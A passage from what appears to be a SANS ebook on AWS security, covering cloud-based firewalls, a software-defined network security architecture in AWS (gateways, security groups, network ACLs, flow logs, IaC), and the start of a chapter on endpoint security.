CloudFormation, you can use a simple text file to model and provision—in an automated and secure manner—all the resources needed for your applications across all regions and accounts. For example, using AWS CloudFormation is helpful for cloud-based WAF deployments and ensures all of them are deployed in a consistent manner, making management of each WAF simpler. With the assistance of a master template, AWS CloudFormation is able to launch WAF solutions for web applications. The default configuration deploys an AWS WAF web access control list (ACL) with eight preconfigured rules, but you can also customize the template based on your specific needs. Advantages of Using a Third-Party WAF/Firewall in AWS While AWS offers strong in-house-developed firewalls for each customer to deploy, some customers may find it easier to continue their deployment with their existing vendor ecosystem. This allows the customer to enjoy a comprehensive view of their on-premises and cloud-based firewall, and have a simpler license model with their vendor. Deploying Firewalls in Hybrid Architectures Many organizations have operational and security requirements in their on-premises environments that they think cannot be properly met in the cloud. Some of them have decided to pursue an intermediate approach, setting up a private cloud, which co-exists with on-premises and public cloud strategies. Private clouds require the same oversight as public clouds and on-premises networks. In addition, the network security requirements in private clouds are very similar. Just as in a public cloud, cloud- based firewalls are a necessity in a private cloud, and deployment is similar. But all firewalls—whether on premises, public cloud and private cloud—should report to a single location to streamline log aggregation and correlation. Managed and Customized Rules While several “… as-a-service” offerings have hit the market over the last few years, many organizations are finding firewall-as-a-service (FWaaS) to be an attractive option. The reason is that FWaaS takes all the administrative burden—patching and management of the firewall platforms—out of the hands of administrators and establishes a unified policy among all deployed firewalls in an organization. 123Vendors offer FWaaS as a solution to merge and unify rules and logs from disparate firewalls while the customer enjoys a “hands-off” experience. It might seem as if deploying firewalls on-premises, in a private cloud and in a public cloud would cause administrative headaches, but in fact, FWaaS can remove unnecessary administrative burdens and requirements. This type of service allows administrators to push through policies for all the firewalls in their purview. Advanced Features Like many security technologies, firewalls have matured since their inception, including the introduction of enhanced security in so-called next-generation firewalls (NGFWs). As firewalls continue to develop, newer security features, such as behavioral threat detection and analytics, are being incorporated to make organizations even more secure. Behavioral Threat Detection Many cloud-based firewalls have started using more advanced features in recent years and continue to build upon the other features each year. Given the amount of data that modern firewalls collect, it only makes sense to put some of that data into action. Behavioral firewalls convert those data points already present in firewalls into predictions of deviations from the normalized baseline. Identifying what users are doing outside of their typical tasks is a great first start to detecting insider threats. Cloud-based firewalls extend behavioral threat detection into the cloud, giving insight into what is happening outside of the organization’s on-premises environment. An additional benefit is that insider threats can be contained more swiftly if organizations can link on- premises behaviors to anomalous cloud-based activity. Next-Generation Analytics Cloud-based firewalls let organizations see, through aggregated sets of metrics and data points, the effectiveness of their security posture. For example, security administrators can easily find out the number of DDoS attacks their cloud and on-premises firewalls have prevented. Cloud-based firewalls also allow security personnel to see the external traffic hitting their cloud space and the network traffic traversing that cloud space. This visibility helps security teams recognize threats not yet written into an alert. Enhancing Protection of Applications, Devices, and NetworksSupport for AWS Services When deploying cloud-based firewalls in an AWS account, where the logs of the cloud-based firewall and WAF ultimately go is a decision any organization can make. For example, to receive a history of all AWS WAF API calls made on your account, you simply turn on AWS CloudTrail in the AWS Management Console. Use Case: Deploying a Cloud-Based Firewall When deploying a whole new cloud infrastructure, integrating cloud-based firewalls within a new VPC will both reinforce the security-first mindset and ensure long-term measurement and growth of the VPC. And of course, having protection against the latest threats hitting cloud environments is critical. Let’s examine the approach “Acme Corp.,” a fictional company, used to deploy its cloud-based firewall. After testing the waters of cloud computing by moving nonessential company infrastructure into the cloud over the last few years, Acme started a migration of its critical assets to the cloud. Firewall administrators noticed that they did not have good visibility into the traffic going in and out of some of the VPCs that were being stood up by Acme. More importantly, Acme was blind to the traffic flowing between VPCs. While Acme’s on-premises firewalls were deployed with attention to security best practices and were well maintained, cloud-based firewalls were not being provisioned in a similar fashion. Many cloud-based firewalls did not follow the security requirements of the on-premises firewall setup, nor were they reporting to a centralized console for each network, which was an important provision for its security teams. Acme’s move to the cloud enabled the organization to realize all of the operational benefits of a cloud-based environment. Acme was excited to accelerate the migration of its existing on- premises assets to the cloud and wanted to make sure the security and administration of its new assets matched the world-class quality it had in its on-premises environment. Acme wanted to add the logs from all of the provisioned cloud-based firewalls into its log aggregator. While it was technically possible to connect all of the log sources into the log aggregator and create correlations and alerts on the new cloud-based log sources, Acme knew that cloud-based firewalls would facilitate a much easier method of moving forward with the requirement. What Acme found was that by deploying a cloud-based firewall, it could go beyond that, because the cloud-based firewall allowed for a single, comprehensive view into both its on-premises and cloud traffic. That meant it would take less time to investigate firewall alerts from various environments. Acme also wanted a better understanding of traffic in its cloud. To do that, it needed first to determine the baseline network traffic in the cloud and then to detect anomalies from the baseline and identify 125network segmentation requirements. In the cloud, detection of anomalies cannot be port-based, so using some of the newest cloud-based firewall features, such as behavioral analytics and behavioral threat detection, meets the requirements for Acme’s new firewall deployments. Another goal for Acme was the capability to quickly see whether any anomalous activity in the cloud was connected to alerts in its on-premises architecture. To accomplish that, Acme needed a solution that would put everything under one management console, which would reduce investigation time for both security practitioners and network analysts. In the end, Acme felt comfortable that deploying the new features in its cloud-based firewalls would satisfy its security requirements. See Table 1, which summarizes the requirements and challenges Acme had to address. Acme deployed the metered F5 Big-IP Local Traffic Manager (LTM) + Advanced Firewall Manager. Not only did it provide NGFW capabilities such as comprehensive threat protection, granular control and visibility into Acme’s cloud environment, but it also allowed Acme to deploy secure office-to-cloud connectivity and cloud network segmentation. Behavioral analytics Comprehensive view Next-generation analyticsNot seeing all traffic moving from on premises to cloud Missing cloud-to-cloud traffic Having to log into multiple management consoles to manage firewall alerts Needing to have top-of-the-line, cloud-based firewall technology optionsTable 1. Requirements and Challenges Challenges Requirements of Cloud-Based Firewalls Enhancing Protection of Applications, Devices, and NetworksSummary Whenever organizations add new network segments, their compatibility with firewalls and other network security equipment is a top concern. Cloud security migrations are the next-generation leap many companies have been looking forward to for years. As a result, organizations need to look at cloud-based firewalls that are able to work in concert with traditional firewalls to secure the organization and the applications and assets it has migrated to the cloud. Using cloud-based firewalls enables businesses to focus on what makes them great while moving the heavy lifting of infrastructure and hardware support to the cloud. Cloud-based firewalls free up network administrators and security practitioners to focus on their key job requirements by relying on the cloud to take over many of the tasks they had to take on for so many years. Today’s cloud-based firewalls have brought the best of what security practitioners and network administrators love about NGFWs to the cloud, while also expanding the capability to aggregate cloud data points. This data is used smartly in DPI, next-generation data analysis and behavioral analysis. Cloud-based firewalls are no longer just a requirement for network security; they are an integral part of network- and security-based decisions in a cloud deployment. About the Author Kevin Garvey is a SANS instructor-in-training for MGT512 and security operations manager at an international bank based in New York City. He has been a cybersecurity aficionado ever since he became interested in computers, but formalized his passion by moving from a career in IT to become a cyber professional in 2013. Kevin has worked at the New York Power Authority, JP Morgan and Time Warner, contributing and leading efforts to grow new and existing cyber initiatives. He holds a CISSP, GCIH, GLEG, GCFA, GCFE and GSLC. 127Chapter 11: How to Implement a Software-Defined Network Security Fabric in AWS “The software-defined data center (SDDC) has changed the way organizations build and design network objects and components in the cloud, as well as security controls and network monitoring. This chapter introduces you to the variety of network objects available in the cloud, along with security considerations for each. Architecture is important, too, both in designing standalone virtual private clouds (VPCs) and connectivity between on-premises and cloud networks, as well as interconnecting numerous VPCs and large multi-account cloud environments. Enabling cloud-native and third-party monitoring and defensive network controls are covered in this chapter, too.”Dave Shackleford SANS Senior Instructor & Author Enhancing Protection of Applications, Devices, and Networks Enhancing Protection of Applications, Devices, and NetworksOrganizations are rapidly adopting and embracing the concept of the software-defined data center (SDDC). This is having an impact on many aspects of IT operations, architecture and security. One of the most significant changes is in the design and implementation of hybrid architectures of cloud networking, which necessitates a shift to software-defined network controls, tools and architecture—all of which impact security. Fortunately, the rapidly maturing public cloud provides a wide assortment of innovative and robust network controls, tools and services that can be readily enabled to create an end-to-end network architecture rivaling those we’ve relied on in the past. In fact, anumber of cloud-native solutions available now are making it much simpler to build and maintain very large and flexible networks that include strong service level agreements (SLAs) from providers, redundancy and high availability, and capable security options. Third-party solution providers have adapted a number of platforms and services to infrastructure-as- a-service (IaaS) environments, as well, providing enterprises with even more options for building secure network designs in the cloud. Today, it’s increasingly common for organizations to have a hybrid architecture model that requires routing and connectivity between data centers and cloud providers, network access controls (network ACLs or NACLs) at several layers, traffic inspection, and security monitoring capabilities and much more. Many organizations will likely end up using some combination of cloud-native and third-party tools and services as they architect and build network designs for cloud infrastructure. This paper explores these options and includes recommendations on where different controls and strategies may fit best. Software-Defined Network Security: A Breakdown As the world of IaaS has matured, all core networking controls were adapted to cloud-native services. For organizations deploying workloads and infrastructure in IaaS environments, cloud-native network controls offer flexible and tightly integrated capabilities that are easy to enable and maintain. Some common network services available natively in cloud environments include: • Routers — Routing in cloud environments may not require an actual routing platform or appliance, but may instead be accomplished through software-defined route definitions and rules that are operationalized within the provider’s native fabric. 129• Firewalls (network access controls) — Cloud-native network ACLs can be used to control and restrict traffic into and out of the cloud infrastructure, as well as between internal workloads and services. • Load balancers — Two of the most significant drivers for deploying infrastructure into public cloud environments are scalability and availability. Cloud-native load balancing tools are highly capable and resilient. • Network gateways — To facilitate connectivity to cloud workloads and services, a variety of network access gateways can be enabled. These can be focused on internet access, private access to on-premises environments or other gateway devices, or access among cloud-defined zones within one or more accounts. • Web application firewalls — Web application development and operation is one of the most prevalent use cases for the cloud, and web application firewalls (WAFs) can greatly aid in protecting these applications against a wide variety of threats. Cloud-native WAFs are tightly integrated into network access paths and services such as load balancing. They also have flexible API-based logging, monitoring, configuration and operations capabilities. • Network address translation (NAT) — For the SDDC, NAT can be performed in a variety of ways. Cloud providers have highly reliable and automated translation capabilities and controls in place with almost no need for management and oversight. Enterprises can use dedicated virtual appliances that afford them more granular control over translation as well. • Network monitoring — For security teams in particular, the ability to monitor network traffic and patterns of communication is critically important in all operating environments. The cloud infrastructure is advancing rapidly to support a wide range of use cases in these areas, with powerful native services that can be enabled quickly and easily. In addition, third-party network security solution providers have largely adapted their products and services to integrate natively into cloud environments. These changes are often considered to enhance and augment a cloud software-defined network security stack. Enhancing Protection of Applications, Devices, and NetworksCloud-Native Network and Network Security Controls To develop and implement a robust network security strategy, a technology stack and architecture should include a defense-in-depth set of controls that help to achieve the following goals: • Confidentiality of data and network traffic • Integrity of the network path to ensure no interception or modification of data and workloads is possible • Availability and redundancy to meet performance requirements Ensuring strong access controls and application-level attack prevention and detection is also critical in a best-in-class network security design. A strong control stack may look similar to the one shown in Figure 1, starting with the outermost network security controls at the bottom and working inward toward actual workloads and application-tier protection at the top. In addition to this core network control stack, network security monitoring controls and services must be enabled to ensure a high degree of visibility and introspection into all traffic traversing the cloud infrastructure. The following sections break down each of these control areas in greater detail. Figure 1. Core Network Control Stack Routing Virtual Network Gateways for Connectivity DDoS Protection Load Balancing Web Application Firewalls Virtual Network Security Appliances for Advanced Protection Cloud-Native Network ACLs Traffic Flow 131DDoS Protection Malicious actors often initiate DDoS attacks in an attempt to flood networks, systems and applications with more traffic, connections or requests than they can handle. Other types of DDoS attacks are more subtle, targeting specific services in ways that cause them to hang or fail. DDoS defense is a must-have control for many organizations. Amazon Web Services (AWS) offers its AWS Advanced Shield service for DDoS protection.1 The standard plan is included for all tenants and defends against the most common, frequently occurring network- and transport-layer DDoS attacks that target sites and applications. The advanced plan includes features such as additional capacity for large DDoS events, native integration with WAF controls, forensic and historical reporting, assistance from the AWS DDoS Response Team (DRT), and some cost protection for charges incurred during an attack. As the outermost layer of a defense-in-depth network protection model, cloud-native DDoS protection services can help to improve the availability and resiliency of the entire cloud network infrastructure immediately. Virtual Network Gateways for Connectivity Organizations can incorporate a number of different connectivity models into their network architecture, including: • Internet access — This model provides direct internet access to cloud workloads with no relation to traditional on-premises assets or network infrastructure. • VPN connectivity — Point-to-point connectivity using IPSec between one or more gateways can allow for protected network traffic in transit, often implemented as a site-to-site VPN between on-premises data centers, branch offices and cloud environments. • Dedicated circuits — For organizations that need a hybrid architecture with guaranteed bandwidth and more stability, dedicated circuits are available that establish a point-to-point, always-on network connection between cloud provider environments and data centers. 1 This paper mentions solution names to provide real-life examples of how cloud security tools can be used. The use of these examples is not an endorsement of any solution. Enhancing Protection of Applications, Devices, and Networks• VPC interconnectivity — Many organizations employ more than one virtual private cloud (VPC) in one or more accounts. A VPC is an isolated network zone that can be divided into subnets. Organizations may choose to peer these VPCs together to create interconnected network zones. To facilitate these various types of connections, there are numerous software-defined gateways available in cloud environments. These include: • Internet gateways — Internet gateways (IGs) are basic VPC software-defined objects that allow traffic in and out of a VPC. They can be used to allow connectivity to VPC subnet resources from the internet. These gateways also perform simple NAT operations for VPC workloads. For workload traffic to the internet, the workload’s source address is translated to the internet gateway address. For traffic destined for instances from the internet, the gateway translates the address to the destination instance private IP addresses within the subnet. Organizations can set up egress-only gateways for handling outbound IPv6 traffic if needed. It’s important to note that internet gateways provide almost no security at all, aside from address translation. They are software objects that are needed to manage traffic operations, but provide little in the way of real access controls or monitoring capabilities. • Virtual private gateways — A virtual private gateway (VPG) is a VPN gateway and a software-defined object that allows IPSec security association (SA) tunnels to be established with another peer. A customer gateway (CG) is the on-premises side of the IPSec tunnel (either a physical or virtual appliance that terminates the other side of the IPSec connection). An alternative model to a single point-to-point VPN connection is to use a hub tool such as AWS VPN CloudHub, a configuration in which multiple sites can all connect with IPSec to a set of VPGs that use Border Gateway Protocol (BGP) autonomous system numbers (ASNs) in a larger WAN. • AWS Direct Connect gateways — Organizations can establish a dedicated private circuit between on-premises environments and the cloud, or between numerous VPCs (even those in different regions) using AWS Direct Connect gateways. In partnership with numerous WAN and telecommunications backbone carriers, organizations can interconnect numerous physical circuits between both cloud and data center environments with dedicated bandwidth and more flexible quality-of-service (QoS) configuration. 133 “Routing is accomplished by creating a set of route definitions, called a route table, that are implemented directly within the cloud provider fabric.” Load Balancing Load balancing is a critical element of all network designs. Load balancers aid in ensuring that availability and resiliency goals are met for all network and application traffic throughout the global cloud • Transit gateways — While organizations can create direct peering relationships for VPCs, numerous interconnected peering arrangements across a larger number of VPCs can be challenging to design and operate. Transit gateways, which are managed through another service called AWS Resource Access Manager (for managing assets across accounts), help teams create a more traditional hub-and-spoke model of network connectivity across VPC peers or AWS Direct Connect circuits. For performing network address translation, a process known as NATing, a variety of different platforms and methods are available. In addition to the automatic NAT operations that IGs handle, the creation of a dedicated NAT gateway object grants an organization more control over inbound traffic, as well as providing scalability and flexibility in bandwidth and deployment options. For even more control, organizations can use a dedicated instance workload type known as a NAT instance, giving them full control (allowing for numerous inline security controls and services to be enabled on these systems, if desired). Routing Because all network elements are software-defined in the cloud, routing definitions can make use of both traditional network definitions (such as IP addresses and subnet designations) and software object references (such as gateway identifiers). Routing is accomplished by creating a set of route definitions, called a route table, that are implemented directly within the cloud provider fabric. In many ways, routing within the cloud is vastly simpler than using traditional complex LAN and WAN routing models and protocols. Enhancing Protection of Applications, Devices, and Networks “Load balancing is a critical element of all network designs. Load balancers aid in ensuring that availability and resiliency goals are met for all network and application traffic throughout the global cloud ecosystem.”ecosystem. AWS Elastic Load Balancing distributes incoming app traffic across multiple Amazon EC2 instances. Cloud-native load balancers are more capable and flexible than ever. Cloud providers’ native load balancers can route traffic based on simple application or network information, and these network- oriented approaches are best suited for standard network traffic or cloud environments that have more traditional application deployments. These are also good for internal load balancers on the back end, distributing traffic to storage nodes. Platforms like AWS Elastic Load Balancing can also route traffic based on advanced application information that includes the content of the request and more granular microservices architecture. This is the preferred type of load balancer,especially for any internet-facing and web application traffic. AWS Elastic Load Balancing can also establish HTTPS sessions with clients, making the service highly valuable for mobile access and any secure data transmission. Because most web applications move to HTTPS by default, this becomes more and more relevant. You can easily upload your own certificates to cloud load balancers or use certificates from a cloud-native certificate authority (CA). Web Application Firewalls Many current WAF offerings can help to protect application workloads from common threats, as well as monitor application interaction to highlight suspicious or malicious behaviors. Cloud providers have integrated WAF policies and capabilities into both platforms and services within their fabric, and customers looking to add application-layer prevention and detection capabilities to their cloud network stack can easily enable these policies and capabilities. In addition, organizations can also enable many third-party solutions to provide advanced WAF policy controls. 135Virtual Network Security Appliances for Advanced Protection For enterprise-grade network security capabilities, a third-party service or virtual appliance may make sense for a number of reasons. Mature solution providers can offer more advanced next-generation firewall (NGFW) platforms. For example, these network security gateways can provide access controls, intrusion prevention, malware detection and other functions that enhance and improve a comprehensive cloud networking strategy. Some of these capabilities may also mimic functions available on premises, possibly helping to achieve audit and compliance goals. Leading providers like Fortinet offer numerous cloud marketplace offerings that integrate with IaaS environments to bolster network edge security and allow enterprises to create true perimeter security service zones. These systems and services may afford organizations more deployment flexibility, as well as unified management consoles for hybrid deployment and operations. Cloud-Native Network ACLs As a final layer of network defense, cloud-native network ACLs can help prevent attackers from using unapproved network connections to infiltrate systems, moving laterally from a compromised application or system, or performing any illicit network activity regardless of environment. The first focal area for any cloud-native network isolation and segmentation tool should be the core network zones associated with cloud accounts. In AWS, these are VPCs and can contain any number of distinct network subnets. VPCs can also be peered to one another and connected through AWS Transit Gateways and AWS Direct Connect circuits. Subnets within each VPC can be configured to communicate as needed through routing and cloud-native network ACLs. Organizations can create and apply cloud-native network ACLs within the VPC to isolate and control traffic flow into the VPC subnets altogether, as well as to and from instance workloads running applications and services. AWS has two built-in types of network access and isolation controls: security groups and network ACLs. Both security groups and network ACLs can control traffic into and out of network deployments. Security groups apply to instance workloads and are stateful, whereas network ACLs apply to VPC subnets and are stateless. Security groups start with a network ACL policy of Deny All, and enterprises can then add rules to allow only those types of network access needed. Enhancing Protection of Applications, Devices, and Networks Apply to instances Only support Allow rules (layered on a default Deny) Are stateful Are considered in their entirety before traffic is allowed Must be associated with an instance to applyOperate on VPC subnets Support both Allow and Deny rules Are stateless Are processed in numerical order Apply automatically to all instances in a subnet Table 1. Security Groups vs. Network ACLs Security Groups Network ACLs Cloud Fabric Controls for Network Security Monitoring In addition to the key network ACLs, another foundation of a sound network security strategy is network monitoring. This has been challenging in the past because the software-defined network fabric of cloud providers didn’t have native offerings available to easily monitor network behavior. Further, leading network security vendors didn’t have compatible solutions within the cloud for monitoring network traffic, and full packet-capture network “taps” hadn’t yet materialized. Fortunately, those issues are now in the past, and network security teams and security operations teams can capably monitor network traffic as needed. The first type of network monitoring control organizations should enable within the IaaS cloud is collecting network flow data for monitoring communications to, from and between workloads within VPCs. VPC flow logs can be used to monitor and track network events and behaviors at a large scale. With these types of flow logs, customers can designate a storage location for all logs and are also able to aggregate and stream flow logs to SIEM services as needed. Flow log records include values for the different components of the IP flow, including the source, destination and protocol. VPC flow logs can help security teams in a number of ways, such as troubleshooting and analyzing security group rules, monitoring traffic communicating with workloads, and determining the direction and patterns of traffic to and from cloud network interfaces. Another capability many network security teams have sought in the cloud is full network packet capture controls. In AWS, a feature called Amazon VPC Traffic Mirroring permits network traffic to be copied from any compatible system in a VPC to a suitable endpoint such as an elastic network interface (ENI), network load balancer and so on. Many network brokering tools and platforms can now leverage this mirroring capability to pull traffic from instances in AWS VPCs, enabling security operations teams to perform deep packet inspection (DPI), network forensics and even selective packet filtering. 137Identity and Access Management and Network Isolation/Segmentation For many organizations, designing software-defined network strategies for the cloud often encompasses a blend of controls that include other services within the cloud fabric. The most common (and important) among these is identity and access management (IAM). Controlling access to network controls, platforms and other network assets within the environment is critical to ensuring that only the appropriate staff and services have access to network configurations. It also improves continuity and stability of the cloud network configuration. Another key element of IAM that security teams need to adapt to is the use of IAM for isolating assets, enabling teams to create microsegmentation architectures with affinity policies in place. IAM is being used more and more to control access to and interactions with resources in the cloud based on permissions and privilege assignments, making IAM a key factor in access control today. All software- defined assets in the cloud can have policies assigned to them, and this can help manage access just as much as network policy traditionally has, or even more effectively in many cases. Leading cloud providers have a wide variety of prebuilt IAM policies that organizations can enable as service roles, creating strict control models between users and services, users and workloads, services to other services, and really any software-defined object to another within the cloud fabric. Used in conjunction with strong network policies and controls, this can help to improve security and limit the scope of impact that may occur because of a misconfiguration or attack against cloud assets. In addition to cloud-native controls and services, as well as third-party virtual appliances, we’ve seen the emergence of a new cloud service model named by Gartner as secure access service edge (SASE), which combines a number of different elements of cloud services and security into a unified fabric. • Software-defined WAN (SD-WAN) — This first element of SASE is oriented toward network access, control and architecture, and allows for interconnectivity between on-premises environments and cloud provider infrastructure through a singular backbone service or vendor solution. These networking services often provide common networking capabilities, such as routing, bandwidth shaping and QoS, and core content delivery network (CDN) services that can set priorities on specific content and service access and transmission. • Cloud security-as-a-service (SECaaS) — This second convergence category included in SASE is a broad category, including services often provided by cloud access security brokers (CASBs) that include data loss prevention (DLP), content filtering, application control, Enhancing Protection of Applications, Devices, and Networksadvanced malware detection and response, cloud provider reputation scoring, user behavioral monitoring and more. In addition, SASE brings together more SECaaS offerings, including VPN replacement technologies, WAF and traditional firewall filtering, network intrusion detection and prevention, and even remote browser isolation (RBI). In essence, the SASE space looks to take advantage of the cloud brokering model already seen with CASB, CDN and even identity-as-a-service (IDaaS). It includes more networking capabilities and control, as well as combines security services in one brokering model that could potentially simplify the networking and security controls stacks currently in place. Leveraging Infrastructure as Code for Automation and Guardrails In the past several years, the concept of using templates to define and manage infrastructure has gained ground. In most virtualized environments, security teams have made heavy use of virtual machine templates and snapshots, and network devices have configurations that they can apply to define a system state. In the cloud, the entire environment is a programmable fabric, providing many more opportunities to implement template-based components and infrastructure objects and services. This idea, now collectively known as infrastructure as code (IaC), has completely reshaped the way organizations automate and manage infrastructure in the cloud. DevOps teams have embraced this idea for some time, and security teams are beginning to integrate their controls and definitions into these infrastructure templates. IaC tools and templates are available for all major IaaS clouds and can be used to configure and define a wide range of objects and service definitions, including: • Virtual machines and images • Container configurations and images • Network ACLs and subnets/VPCs • Storage nodes • Identity policies and roles • Serverless functions and code 139There are many benefits to using IaC, but several are worth calling out explicitly: • Reproducible and reusable infrastructure — One thing that templates can really bring to the table readily is consistency. With a template-based model that defines how security teams want a significant portion of their infrastructures to look, it is possible to maintain all the elements within that template simply by reusing and reproducing the template elements as needed. • Version-specific and validated infrastructure — The entire premise behind IaC is treating infrastructure definitions in templates (and the templates themselves) as we would code checked into repositories. Each template should have a version, and each check-in should ideally have some automation to scan the template for desired configuration elements and included object definitions. • Better-documented infrastructure — There’s more opportunity to easily document infrastructure with IaC, because approved personnel can simply add comments and documentation directly into the template files. • Infrastructure change monitoring — Security teams can monitor template files using traditional file-integrity monitoring tools and methods. They now have a much better way to track unexpected or illicit changes to templates that could affect their entire cloud deployment model if not caught. For software-defined cloud networking, IaC templates can be used to define every control and element of the network stack covered here, including specific access control rules in security groups, route table entries, load balancing configurations, identity policies and much more. Additionally, most third-party tools and platforms can also be referenced and configured through these templates. Enhancing Protection of Applications, Devices, and NetworksWrapping Up: Best Practices The software-defined network is simply one critical element of the SDDC. When building a cloud network, consider the following best practices and recommendations for building a hybrid network security architecture in the cloud, using both cloud-native and third-party controls: • Design an architecture that includes a “transit zone,” where network security access controls and robust intrusion detection can be applied. This zone could be a subnet within a single VPC, a dedicated VPC peered to others or a dedicated VPC that leverages a transit gateway to connect other VPCs and/or on-premises locations. Ideally, a third-party network security virtual appliance should control and inspect all traffic coming into and through this dedicated zone. • Limit the application of network ACLs to either allow or deny known trusted or malicious IP addresses and subnets. Use security groups to define and apply the majority of the network ACLs. That said, leverage security groups and network ACLs to the full extent needed, because these are capable controls that are wholly integrated and inexpensive to implement. • If you need more mature and in-depth network security controls (and you likely will), consider a third-party virtual firewall/IPS appliance as a gateway or network security service layer. Build in multiple availability zones and plan for redundancy and failure conditions that may occur. You don’t want to be in a position where resources fail and you experience downtime. Use cloud-native or third-party cloud load balancing integrated with APIs and the providers’ native fabric within any and all network segments if possible. • Enable a WAF service, or third-party appliance or service, that provides strong application-tier policies and controls, as well as behavioral monitoring. • Consider an advanced DDoS protection service plan with your cloud provider if your organization is prone to these types of attacks. • Enable VPC flow logs and stream them to a dedicated storage node within all cloud accounts. Depending on the volume of flow records generated, a third-party solution for behavioral analysis of flow records may be an additional investment worth pursuing. There are many options available. 141• For DPI and network forensics, enable VPC traffic mirroring of important network traffic to a dedicated virtual appliance that can empower the security operations and incident response teams. This powerful capability creates parity with traditional on-premises network traffic capture options like taps. • Plan IAM roles and permissions to protect access to and use of VPC resources and services. Many VPC objects and services can easily be controlled through IAM, including Amazon Elastic Compute Cloud (EC2), Amazon CloudWatch for monitoring, AWS Elastic Load Balancing for load balancing and much more. • Wherever possible, make use of IaC templates to define objects and configuration for your network architecture, thus improving consistency and auditability of all controls. As your cloud environment grows and hybrid cloud network architectures become the prevalent design model, keep these recommendations in mind. About the Author Dave Shackleford, a SANS analyst, senior instructor, course author, GIAC technical director and member of the board of directors for the SANS Technology Institute, is the founder and principal consultant with Voodoo Security. He has consulted with hundreds of organizations in the areas of security, regulatory compliance, and network architecture and engineering. A VMware vExpert, Dave has extensive experience designing and configuring secure virtualized infrastructures. He previously worked as chief security officer for Configuresoft and CTO for the Center for Internet Security. Dave currently helps lead the Atlanta chapter of the Cloud Security Alliance. Enhancing Protection of Applications, Devices, and NetworksChapter 12: How to Build an Endpoint Security Strategy in AWS “This chapter provides a high-level overview for designing an endpoint security strategy in AWS. In this chapter, I discuss considerations for traditional versus cloud-based endpoints, integration with SIEM, and response via endpoint detection and response (EDR) platforms. This chapter also explores aligning AWS security solutions to align with existing security investments. While the target audience is the cloud security architect, these concepts are applicable to cloud security analysts, engineers, and security operations center (SOC) leadership. My intent is to provide a foundation for leveraging endpoint security technologies for secure migrations to cloud-based architectures and zero trust networks.”Thomas J. Banasik SANS Analyst 143Introduction The nature of today’s business is driving organizations away from traditional on-premises data centers and into distributed cloud computing environments, and with this move comes the challenge of securing endpoints in a cloud-dominated world. Not long ago, endpoint security involved little more than signature-based antivirus, but endpoint security capabilities have evolved. Now we have endpoint detection and response (EDR), machine learning (ML), user and entity behavior analytics (UEBA) and data loss prevention (DLP) integrated suites. These cloud- based endpoint security technologies are adapting to industry trends, providing cost-effective, readily deployable and fully integrated solutions to protect assets in the cloud—all managed from a single comprehensive view. In this paper, we evaluate endpoint security requirements in Amazon Web Services (AWS). We delve into identifying threats, protecting assets, responding to events and recovering from incidents in a distributed cloud environment. This strategy develops a defense-in-depth architecture aligned with organizational business drivers in the cloud. Endpoint security solutions in the cloud pr ovide greater flexibility to manage physical, hybrid and cloud security models while providing enhanced visibility in centralized monitoring services. Moving Endpoint Security Solutions to the Cloud The business case for moving to the cloud arises from the economies of scale for computing resources and storage, as physical layers of computing are abstracted to a managed partner. As endpoints are transferred, provisioned or migrated from a physical asset into a cloud model, ensuring their security is critical. A successful endpoint security strategy that addresses the various challenges of cloud migration, such as scale, speed and complexity, can yield better cost savings, visibility, agility and scalability. Endpoint security solutions in AWS are the hallmark of successful cloud migrations. Amazon Elastic Compute Cloud (EC2) instances provide nearly limitless efficiency gains while encompassing data protection and unparalleled visibility through cloud-native security services including Amazon GuardDuty and AWS Security Hub.¹ AWS also leverages industry-leading partners to streamline tools, ensuring that an organization’s defense doesn’t blink. These groundbreaking integrations allow security operations teams to identify the indicators of attack (IoAs) and indicators of compromise (IoCs) to act proactively— instead of reactively, after a breach. ¹ This paper mentions product names to provide real-life examples of how visibility tools can be used. The use of these examples is not an endorsement of any product. Enhancing Protection of Applications, Devices, and Networks “A successful endpoint security strategy that addresses the various challenges of cloud migration, such as scale, speed and complexity, can yield better cost savings, visibility, agility and scalability.” Importance to the InfoSec Community Why is an endpoint security solution so critical? With GDPR and its significant penalties for non- compliance, the expectations for data protection have changed. For example, the European Union (EU) holds data controllers and processors responsible not only for personally identifiable information (PII), but also for timely notifications when a breach occurs: In the case of a personal data breach, the controller shall without undue delay and, where feasible, not later than 72 hours after having become aware of it, notify the personal data breach to the supervisory authority infringements of the following provisions shall, in accordance with paragraph 2, be subject to administrative fines up to 20 000 000 EUR, or in the case of an undertaking, up to 4% of the total worldwide annual turnover of the preceding financial year, whichever is higher.² Of course, data is stored, processed and accessed via the endpoints that are commonly the user’s interface to sensitive data, including PII. Information security starts at the endpoint to build a defense-in- depth architecture capable of securing people, processes and technology. Elevated compliance directives make the endpoint attack vector even more critical in global business operations. Traditional vs. Cloud-Based Endpoints What’s the difference between traditional and cloud-based endpoints? Endpoints are remote computing devices designed as a human interface to translate data access to and from the network. Traditional ² https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=CELEX:32016R0679&from=EN 145endpoints include laptops, desktops, servers, workstations, mobile devices and the IoT. The cloud environment transfers management of the lower layers of the OSI model—physical, data link and network—to a managed service provider that controls system resources and storage while providing the organization with greater control, agility and security over data. Defining cloud endpoints is challenging because of hybrid architectures that combine physical, virtual and cloud-based assets. The key to identifying cloud endpoints resides in the service-oriented architecture (SOA) used for providing resources as a service in such models as infrastructure-as-a- service (IaaS), platform-as-a-service (PaaS) and software-as-a-service (SaaS). Cloud-based endpoints include provider-hosted servers, databases, instances, services and applications. Cloud-based endpoint security strategies are designed to secure data at rest, in transit and in use. These technologies include capabilities such as antivirus (AV), a host-based intrusion prevention system (HIPS), application blacklisting, machine learning (ML) and UEBA. Securing endpoints in hybrid and cloud-based hosting models is very different from doing so in a traditional on-premises data center. With SOA, cloud providers assume shared responsibility for providing resources to customers that are leveraging the cloud’s economies of scale. Under that model, the customer is at risk of losing visibility into those cloud resources. Naturally, organizations objected to this, because they require visibility into all of their assets, regardless of where they reside. The traditional data center model leveraged host-based AV and firewalls to secure endpoint data within a defined trust perimeter. The cloud abstracts the concept of on-premises data centers into a decentralized model with a de-perimeterized structure. User endpoints communicate with the cloud network via physical network connections, VPNs, mobile devices and internet-facing web portals. Endpoint communication with management services is critical to enable rapid response for security incidents. While hybrid on-premises security management services integrate with the cloud, best practice recommends leveraging cloud- based SaaS solutions to enhance visibility regardless of where the endpoint lives. “Best practice recommends leveraging cloud-based SaaS solutions to enhance visibility regardless of where the endpoint lives.” Enhancing Protection of Applications, Devices, and NetworksUse Case: Cloud Endpoint Migration and Integration in AWS Moving assets to the cloud requires an evaluation of security requirements. This evaluation begins with choosing an endpoint security solutions provider that can provide support in physical, hybrid and cloud-based computing models. 